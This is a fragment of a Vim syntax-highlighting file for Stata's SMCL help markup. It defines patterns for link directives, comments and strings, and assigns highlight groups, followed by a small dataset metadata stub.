syn match smclLink /{search [^}]\+}/
syn match smclLink /{search_d:[^}]\+}/
syn match smclLink /{browse [^}]\+}/
syn match smclLink /{view [^}]\+}/
syn match smclLink /{view_d:[^}]\+}/
syn match smclLink /{news:[^}]\+}/
syn match smclLink /{net [^}]\+}/
syn match smclLink /{net_d:[^}]\+}/
syn match smclLink /{netfrom_d:[^}]\+}/
syn match smclLink /{ado [^}]\+}/
syn match smclLink /{ado_d:[^}]\+}/
syn match smclLink /{update [^}]\+}/
syn match smclLink /{update_d:[^}]\+}/
syn match smclLink /{dialog [^}]\+}/
syn match smclLink /{back:[^}]\+}/
syn match smclLink /{clearmore:[^}]\+}/
syn match smclLink /{stata [^}]\+}/
syn match smclLink /{newvar\(\|:[^}]\+\)}/
syn match smclLink /{var\(\|:[^}]\+\)}/
syn match smclLink /{varname\(\|:[^}]\+\)}/
syn match smclLink /{vars\(\|:[^}]\+\)}/
syn match smclLink /{varlist\(\|:[^}]\+\)}/
syn match smclLink /{depvar\(\|:[^}]\+\)}/
syn match smclLink /{depvars\(\|:[^}]\+\)}/
syn match smclLink /{depvarlist\(\|:[^}]\+\)}/
syn match smclLink /{indepvars\(\|:[^}]\+\)}/
syn match smclLink /{dtype}/
syn match smclLink /{ifin}/
syn match smclLink /{weight}/
" Comment
syn region smclComment start=/{\*/ end=/}/ oneline
" Strings
syn region smclString matchgroup=Nothing start=/"/ end=/"/ oneline
syn region smclEString matchgroup=Nothing start=/`"/ end=/"'/ oneline contains=smclEString
" assign highlight groups
hi def link smclEString smclString
hi def link smclCCLword Statement
hi def link smclCCL Type
hi def link smclFormat Statement
hi def link smclLink Underlined
hi def link smclComment Comment
hi def link smclString String
let b:current_syntax = "smcl"
" vim: ts=8
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.